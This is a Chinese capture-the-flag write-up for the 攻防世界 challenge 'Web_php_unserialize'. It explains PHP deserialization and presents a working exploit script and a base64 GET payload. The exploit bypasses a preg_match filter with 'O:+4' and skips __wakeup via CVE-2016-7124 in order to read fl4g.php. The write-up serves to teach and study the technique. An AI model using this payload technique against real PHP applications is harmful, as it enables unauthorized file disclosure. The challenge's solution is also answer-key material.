攻防世界-web-Web_php_unserialize(PHP反序列化漏洞)

本题进入场景后,显示如下代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

可以看出,代码中使用了php反序列化函数unserialize(),且可以通过$var来控制unserialize()的变量,猜测存在php反序列化漏洞。

php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。

Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。

php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。

具体php反序列化学习可参考:https://www.cnblogs.com/ichunqiu/p/10484832.html

看到源码,本题需要绕过一个__wakeup()函数和一个正则匹配,才能高亮显示出 fl4g.php 文件。

绕过__wakeup():

在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过。

绕过__wakeup()是利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

影响版本:

  • PHP before 5.6.25
  • 7.x before 7.0.10

绕过正则:

使用+可以绕过preg_match(), 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。

脚本如下:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$var = new Demo('fl4g.php');
$var = serialize($var);
var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
$var = str_replace(':1:', ':2:',$var);//绕过wakeup
var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($var));#显示base64编码后的序列化字符串
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

最后get传参即可获得flag。

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

原文地址:https://www.cnblogs.com/zhengna/p/13297816.html